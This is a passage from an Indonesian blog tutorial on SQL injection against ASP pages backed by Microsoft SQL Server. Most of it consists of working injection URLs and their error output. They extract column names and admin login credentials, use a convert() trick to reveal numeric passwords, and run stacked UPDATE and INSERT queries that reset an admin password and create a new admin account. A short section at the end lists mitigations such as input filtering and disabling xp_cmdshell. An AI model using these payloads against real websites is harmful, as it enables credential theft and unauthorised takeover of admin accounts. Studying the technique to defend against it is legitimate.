http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM

INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login'

WHERE COLUMN_NAME NOT IN ('login_id','login_name','password',details')--

Hasil:

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'

[Microsoft][ODBC SQL Server Driver][SQL Server]ORDER BY items must appear in

the select list if the statement contains a UNION operator.

/index.asp, line 5

Bagaimana mendapatkan kembali data yang kita perlukan ?

Sekarang kita sudah menidentifikasi beberapa tabel yang penting, dan nama

kolomnya, kita dapat menggunakan teknik yang sama untuk informasi lebih lanjut

yang kita inginkan dari database.

Sekarang, kita lihat login_name yang pertama dari tabel “admin_login”:

http://www.Erwin.com/index.asp?id=10 UNION SELECT TOP 1 login_name

FROM admin_login--

Hasil:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the

nvarchar value 'neo' to a column of data type int.

/index.asp, line 5


Kita tahu ada admin user dengan login name “neo”. Akhirnya mendapatkan password

dari “neo” dari database.

http://www.Erwin.com/index.asp?id=10 UNION SELECT TOP 1 password

FROM admin_login where login_name='neo'--

Hasil:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the

nvarchar value 'm4trix' to a column of data type int.

/index.asp, line 5

Sekarang kita dapat login sebagai “neo” dengan menggunakan password “m4trix”.

Bagaimana mendapatkan niilai numeric string ?

Ada batasan teknik untuk menerangkan hal diatas. Kita tidak dapat mendapatkan

pesan error jika kita mencoba menkonversi text yang terdiri dari valid number

(carakter antara 0-9 saja). Kita coba mendapatkan password dari “trinity” yang

“31173”.

http://www.Erwin.com/index.asp?id=10 UNION SELECT TOP 1 password

FROM admin_login where login_name='trinity'--

Kita mungkin akan mendapatkan sebuah halaman “Page Not Found” error. Ini karena

password “31173” akan di konversi menjadi number, sebelum UNION dengan integer

(10 dalam kasus ini). Selama statement UNION valid, SQL Sqerver tidak akan

melemparkan pesan kesalahan, dan kita tidak akan mendapatkan kembalian data

beberapa masukan numeric.

Untuk dapat memecahkan masalah ini, kita dapat menginputkan numeric string

dengan beberapa alphabet yang dipastikan gagal untuk di konversi. Kita coba query

berikut:

http://www.Erwin.com/index.asp?id=10 UNION SELECT TOP 1 convert(int,

password%2b'%20morpheus') FROM admin_login where login_name='trinity'--

Kita dengan mudah menggunakan tanda (+) untuk memasukkan password dengan

suatu tek yang kita inginkan. Kode ASSCII untuk ‘+’ =0x2b. kita menambahkan

‘(space)morpheus’ dalam passeord yang sebenarnya. Oleh karena itu, selama kita

mempunyai numeric string ‘31173’, ini akan menjadi ’31173’ morpheus’. Dengan

memanggil function convert(), mencoba menkonversi ‘31173 mopheus’ menjadi

sebuah integer, SQL Server akan mengeluarkan pesan kesalahan:


Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the

nvarchar value '31173 morpheus' to a column of data type int.

/index.asp, line 5

Sekarang, anda dapat login sebagai 'trinity' dengan password '31173'.

Bagaimana megupdate dan memasukkan data ke dalam database?

Ketka kita sukses mengetahui nama kolom dalam tabel, kita memungkinkan untuk

kita meng UPDATE atau melakukan INSERT record baru dalam tabel. Sebagai

contoh menganti password “neo”:

http://www.Erwin.com/index.asp?id=10; UPDATE 'admin_login' SET 'password'

= 'newpas5' WHERE login_name='neo'--

Untuk INSERT record baru ke dalam database:

http://www.Erwin.com/index.asp?id=10; INSERT INTO 'admin_login' ('login_id',

'login_name', 'password', 'details') VALUES (666,'neo2','newpas5','NA')--

Kita dapat login sebagai “neo2” dengan password “newpas5”

Bagimana menghindari SQL Injection?

Langkah yang dapat di tempuh untuk mengurangi penyusupan ke halaman web

dengan SQL Injection dengan cara:

a. Memfilter dengan tidak membolehkan karakter seperti single quote, double

quote, slash, back slash, semi colon, extended character like NULL, carry return,

new line, etc, dalam string form:

- Masukan dari from users

- Parameters di URL

- Nilai dari cookie

b. Untuk nilai numeric, convert dulu sebelum melewati statement SQL dengan

mengunakan ISNUMERIC untuk meyakinkan itu adalah integer.

c. Mengubah "Startup and run SQL Server" menggunakan low privilege user

dalam SQL Server Security tab.

d. Ubah stored procedure – store procedure yang tidak terpakai, seperti:

master..Xp_cmdshell, xp_startmail, xp_sendmail, sp_makewebtask


Kesimpulan

SQL Injection dapat bekerja hanya dengan menggunakan Port 80. Fasilitas Web

Server yang digunakan untuk menampilkan pesan kesalahan dan stored procedure

default Microsoft SQL Server dapat di gunakan untuk mengekplorasi halaman web

dengan SQL Injection.

Untuk meminimalkan penyusupan ke server Web dan Server Database kita dapat

menghapus atau menonaktifkan service dan stored procedure yang tidak diperlukan.

Yang paling penting untuk menutup halaman web kita dengan dari serangan dengan

motode SQL Injection adalah Validasi input sebelum dikirim ke web server.

Daftar Referensi

http://www.wiretrip.net/rfp/p/doc.asp?id=42&iface=6

http://www.blackhat.com/presentations/win-usa-01/Litchfield/BHWin01Litchfield.doc

http://www.owasp.org/asac/input_validation/sql.shtml

http://www.wiretrip.net/rfp/p/doc.asp?id=7&iface=6

http://www.wiretrip.net/rfp/p/doc.asp?id=60&iface=6

http://www.spidynamics.com/whitepapers/WhitepaperSQLInjection.pdf



Baca lebih Lengkap.. print this page 
Blog: Erwin - Belajar Blog | The Template by : kendhin Website: x-template.blogspot.com| Powered By: Erwin Arianto